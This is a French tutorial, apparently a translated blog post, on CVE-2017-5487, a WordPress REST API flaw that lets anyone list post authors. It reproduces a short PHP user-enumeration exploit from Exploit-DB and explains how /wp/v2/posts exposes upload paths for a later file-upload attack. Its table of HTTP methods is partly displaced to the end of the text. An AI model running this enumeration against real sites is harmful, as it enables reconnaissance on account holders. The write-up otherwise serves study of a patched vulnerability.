
cve-2017-5487 vulnérabilité de l'API REST wp
: Dans les versions de WordPress antérieures à 4.7.1, l'implémentation de l'API REST dans wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php ne limitait pas la liste des auteurs publiés, permettant à un attaquant distant d'obtenir des informations sensibles via une requête wp-json/wp/v2/users.
( Référence : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )
Si vous ne comprenez pas, découvrons d'abord les connaissances de base, puis apprenons par la pratique.
Si vous pensez que les connaissances de base ne sont pas nécessaires, vous pouvez commencer par [3].
: En termes simples, une API qui définit « quoi faire et comment » peut être appelée API REST.
: Pour être plus précis, l'API REST consiste à définir des ressources via une URI HTTP et à les manipuler à l'aide de méthodes HTTP et de charges utiles.
: REST = REpresentational State Transfer (acronyme)
2.1 Ressources définies par une URI HTTP
: Une ressource désigne l'objet traité.
ex) documents JSON, XML, fichiers image comme jpg, fichiers vidéo comme mp4, etc.
: URI signifie Uniform Resource Identifier (identifiant uniforme de ressource). L'URL que nous voyons couramment fait également partie de l'URI ; elle identifie une ressource.
ex) Si l'accès à http://rootable.tistory.com/user/test permet d'obtenir des informations sur un utilisateur nommé test, cela constitue également une URI.
2.2 Méthodes HTTP
: Ces méthodes fonctionnent de la même manière quel que soit le format de la ressource.
: Les méthodes utilisées dans l'API REST incluent POST, GET, PUT, PATCH, DELETE, etc. Il faut noter qu'elles diffèrent de leurs fonctions habituelles. Par exemple, POST est généralement utilisé pour envoyer des données ou des documents à un serveur, mais dans l'API REST, il est utilisé pour la création (create).
| Méthode HTTP | Opération CRUD |
|---|---|
| POST | create |
| GET |
ex) API REST pour ajouter un utilisateur nommé doni aux utilisateurs de http://rootable.tistory.com :
POST http://rootable.tistroy.com/users/doni
ex) Lors de la création d'un utilisateur nécessitant diverses caractéristiques (profession, âge, sexe, etc.), différents langages d'expression comme XML ou JSON sont précisés dans le corps de la requête :
POST http://rootable.tistory.com/users Content-Type: application/json
{
"username" : "doni",
"age" : "27"
}
: Nous avons dit que l'API REST est une API prédéfinie qui décrit comment manipuler les ressources. Quelles sont donc les API REST définies par WordPress ?
Référez-vous au tableau ci-dessous.
On voit que plusieurs API REST sont définies. On remarque que /wp/v2/users, présent dans le CVE que nous allons étudier, y figure.
4.1. Obtention d'informations sur l'auteur d'un article
Voici le code trouvé sur EXPLOIT DB ( https://www.exploit-db.com/exploits/41497/ ).
Comme on peut le voir dans le code, il se contente de traiter le résultat et de l'afficher proprement. Il n'est pas nécessaire d'utiliser cet exploit ; on peut obtenir les informations en y accédant directement. Donc, pour une meilleure lisibilité, il n'est pas nécessaire d'aller jusqu'à la vulnérabilité FU.
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
En enregistrant ce code PHP dans l'installation de WordPress et en l'exécutant, on obtient le résultat ci-dessous.
(Image)
Si l'on y accède directement, le résultat ressemble à ceci. (Cliquez si ce n'est pas clair)
(Image)
Les informations que l'on peut en tirer sont l'ID, le nom, etc. des utilisateurs ayant écrit des articles.
Remarque : Je pensais que tous les utilisateurs enregistrés seraient visibles, mais les tests montrent que seuls les comptes des auteurs d'articles apparaissent. Dans la description du CVE, le mot « author » apparaît, ce qui doit faire référence à l'auteur.
4.2. Obtention du chemin de téléchargement des fichiers
Parmi les API REST de WordPress, on trouve /wp/v2/posts. En y accédant, on voit des informations sur les articles publiés. Comme indiqué, on peut y obtenir le chemin de téléchargement des fichiers. Si une vulnérabilité FU est découverte, cela pourrait être très utile.
(Image)
posts renvoie trop d'informations, on peut accéder à [/wp-json/wp/v2/posts/20] pour n'obtenir que les informations sur le 20e article.Il semble que dans la version 4.7, il soit impossible de consulter les paramètres ou de modifier des articles.
rest_forbidden et l'accès est refusé.(Image)
(Image)
Références :
| read |
| PUT | update / replace |
| PATCH | update / modify |
| DELETE | delete |
| Ressource | Route de base |
|---|
| Posts | /wp/v2/posts |
| Post Revisions | /wp/v2/revisions |
| Categories | /wp/v2/categories |
| Tags | /wp/v2/tags |
| Pages | /wp/v2/pages |
| Comments | /wp/v2/comments |
| Taxonomies | /wp/v2/taxonomies |
| Media | /wp/v2/media |
| Users | /wp/v2/users |
| Post Types | /wp/v2/types |
| Post Statuses | /wp/v2/statuses |
| Settings | /wp/v2/settings |